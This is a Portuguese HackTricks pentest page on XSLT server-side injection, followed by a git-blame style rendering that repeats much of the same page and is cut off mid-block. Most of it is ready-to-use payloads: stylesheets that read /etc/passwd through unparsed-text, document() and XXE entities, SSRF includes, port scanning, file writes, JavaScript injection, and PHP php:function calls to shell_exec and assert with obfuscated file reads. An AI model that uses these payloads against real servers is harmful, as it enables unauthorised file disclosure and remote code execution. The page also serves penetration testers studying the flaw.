hacktricks/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md

# Injeção de Servidor XSLT (Transformações de Linguagem de Folha de Estilo Extensível)

<details>

<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

</details>

## Informações Básicas

XSLT é uma tecnologia utilizada para transformar documentos XML em diferentes formatos. Ele vem em três versões: 1, 2 e 3, sendo a versão 1 a mais comumente utilizada. O processo de transformação pode ser executado no servidor ou no navegador.

Os frameworks mais frequentemente utilizados incluem:

- **Libxslt** do Gnome,
- **Xalan** do Apache,
- **Saxon** da Saxonica.

Para a exploração de vulnerabilidades associadas ao XSLT, é necessário que as tags xsl sejam armazenadas no lado do servidor, seguido pelo acesso a esse conteúdo. Uma ilustração de tal vulnerabilidade está documentada na seguinte fonte: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).

## Exemplo - Tutorial
```bash
sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
```
{% code title="xml.xml" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
```
{% endcode %}

{% code title="xsl.xsl" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}

Executar:
```xml
saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>
```
### Impressão Digital

{% code title="detection.xsl" %}
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}

E execute
```xml
$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
```
### Ler Arquivo Local

{% code title="read.xsl" %}
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}
```xml
$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```
### SSRF

### Injeção de Solicitação de Serviço do Lado do Servidor
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
```
### Versões

Pode haver mais ou menos funções dependendo da versão XSLT utilizada:

* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)

## Impressão digital

Faça o upload disso e obtenha informações
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
```
## SSRF

## Injeção de Solicitação de Serviço do Lado do Servidor
```xml
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
```
## Injeção de Javascript
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>
```
## Listagem de diretórios (PHP)

### **Opendir + readdir**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
```
### **Assert (var\_dump + scandir + false)**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>
```
## Ler arquivos

### **Interno - PHP**
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>
```
### **Interno - XXE**
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>
```
### **Através do HTTP**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
```

```xml
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>
```
### **Interno (função PHP)**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>
```
### Verificação de porta
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>
```
## Escrever em um arquivo

### XSLT 2.0
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
```
### **Extensão Xalan-J**
```xml
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>
```
## Incluir XSL externo

Outras maneiras de escrever arquivos no PDF
```xml
<xsl:include href="http://extenal.web/external.xsl"/>
```

```xml
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
```
## Executar código

### **php:function**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>
```
### **Executar código usando outros frameworks no PDF**

**Mais Idiomas**

**Nesta página você pode encontrar exemplos de RCE em outros idiomas:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**

## **Acessar funções estáticas PHP de classes**

A seguinte função chamará o método estático `stringToUrl` da classe XSL:
```xml
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>
```
## Mais Cargas Úteis
* Verifique [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
* Verifique [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)

## **Lista de Detecção de Força Bruta**

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}

## **Referências**

* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)

<details>

<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

</details>
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:09:41 +00:00
+								# Injeção de Servidor XSLT (Transformações de Linguagem de Folha de Estilo Extensível)
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
 								<details>
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:09:41 +00:00
+								<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
 								* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 								* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:09:41 +00:00
+								* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 								* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
+								* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
 								</details>
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:09:41 +00:00
+								## Informações Básicas
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
 								XSLT é uma tecnologia utilizada para transformar documentos XML em diferentes formatos. Ele vem em três versões: 1, 2 e 3, sendo a versão 1 a mais comumente utilizada. O processo de transformação pode ser executado no servidor ou no navegador.
 								Os frameworks mais frequentemente utilizados incluem:
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:09:41 +00:00
+								- **Libxslt** do Gnome,
 								- **Xalan** do Apache,
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
+								- **Saxon** da Saxonica.
 								Para a exploração de vulnerabilidades associadas ao XSLT, é necessário que as tags xsl sejam armazenadas no lado do servidor, seguido pelo acesso a esse conteúdo. Uma ilustração de tal vulnerabilidade está documentada na seguinte fonte: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
 								## Exemplo - Tutorial
 								```bash
 								sudo apt-get install default-jdk
 								sudo apt-get install libsaxonb-java libsaxon-java
 								```
 								{% code title="xml.xml" %}
 								```xml
 								<?xml version="1.0" encoding="UTF-8"?>
 								<catalog>
 								<cd>
 								<title>CD Title</title>
 								<artist>The artist</artist>
 								<company>Da Company</company>
 								<price>10000</price>
 								<year>1760</year>
 								</cd>
 								</catalog>
 								```
 								{% endcode %}
 								{% code title="xsl.xsl" %}
 								```xml
 								<?xml version="1.0" encoding="UTF-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								<html>
 								<body>
 								<h2>The Super title</h2>
 								<table border="1">
 								<tr bgcolor="#9acd32">
 								<th>Title</th>
 								<th>artist</th>
 								</tr>
 								<tr>
 								<td><xsl:value-of select="catalog/cd/title"/></td>
 								<td><xsl:value-of select="catalog/cd/artist"/></td>
 								</tr>
 								</table>
 								</body>
 								</html>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								{% endcode %}
 								Executar:
 								```xml
 								saxonb-xslt -xsl:xsl.xsl xml.xml
 								Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
 								Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
 								<html>
 								<body>
 								<h2>The Super title</h2>
 								<table border="1">
 								<tr bgcolor="#9acd32">
 								<th>Title</th>
 								<th>artist</th>
 								</tr>
 								<tr>
 								<td>CD Title</td>
 								<td>The artist</td>
 								</tr>
 								</table>
 								</body>
 								</html>
 								```
 								### Impressão Digital
 								{% code title="detection.xsl" %}
 								```xml
 								<?xml version="1.0" encoding="ISO-8859-1"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 								Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 								Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 								<xsl:if test="system-property('xsl:product-name')">
 								Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:product-version')">
 								Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:is-schema-aware')">
 								Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:supports-serialization')">
 								Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
 								/><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 								Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
 								/><br />
 								</xsl:if>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								{% endcode %}
 								E execute
 								```xml
 								$saxonb-xslt -xsl:detection.xsl xml.xml
 								Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
 								Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
 								<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
 								```
 								### Ler Arquivo Local
 								{% code title="read.xsl" %}
 								```xml
 								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
 								<xsl:template match="/">
 								<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								{% endcode %}
 								```xml
 								$ saxonb-xslt -xsl:read.xsl xml.xml
 								Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
 								Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
 								<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
 								daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 								bin:x:2:2:bin:/bin:/usr/sbin/nologin
 								sys:x:3:3:sys:/dev:/usr/sbin/nologin
 								sync:x:4:65534:sync:/bin:/bin/sync
 								games:x:5:60:games:/usr/games:/usr/sbin/nologin
 								man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 								lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 								```
 								### SSRF
-												Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u

											
										
										
											2024-02-07 04:39:38 +00:00
 								### Injeção de Solicitação de Serviço do Lado do Servidor
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
+								```xml
 								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
 								<xsl:include href="http://127.0.0.1:8000/xslt"/>
 								<xsl:template match="/">
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								### Versões
 								Pode haver mais ou menos funções dependendo da versão XSLT utilizada:
 								* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
 								* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
 								* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
 								## Impressão digital
 								Faça o upload disso e obtenha informações
 								```xml
 								<?xml version="1.0" encoding="ISO-8859-1"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 								Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 								Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 								<xsl:if test="system-property('xsl:product-name')">
 								Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:product-version')">
 								Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:is-schema-aware')">
 								Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:supports-serialization')">
 								Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
 								/><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 								Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
 								/><br />
 								</xsl:if>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								## SSRF
-												Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u

											
										
										
											2024-02-07 04:39:38 +00:00
+								## Injeção de Solicitação de Serviço do Lado do Servidor
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
+								```xml
 								<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
 								</esi:include>
 								```
 								## Injeção de Javascript
 								```xml
 								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								<script>confirm("We're good");</script>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								## Listagem de diretórios (PHP)
 								### **Opendir + readdir**
 								```xml
 								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								</xsl:template></xsl:stylesheet>
 								```
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:09:41 +00:00
+								### **Assert (var\_dump + scandir + false)**
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
+								```xml
 								<?xml version="1.0" encoding="UTF-8"?>
 								<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
 								<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
 								<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
 								<br />
 								</body>
 								</html>
 								```
 								## Ler arquivos
 								### **Interno - PHP**
 								```xml
 								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
 								<xsl:template match="/">
 								<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								### **Interno - XXE**
 								```xml
 								<?xml version="1.0" encoding="utf-8"?>
 								<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								&ext_file;
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								### **Através do HTTP**
 								```xml
 								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								<xsl:value-of select="document('/etc/passwd')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								```xml
 								<!DOCTYPE xsl:stylesheet [
 								<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
 								<xsl:template match="/">
 								&passwd;
 								</xsl:template>
 								```
 								### **Interno (função PHP)**
 								```xml
 								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								```xml
 								<?xml version="1.0" encoding="UTF-8"?>
 								<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
 								<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
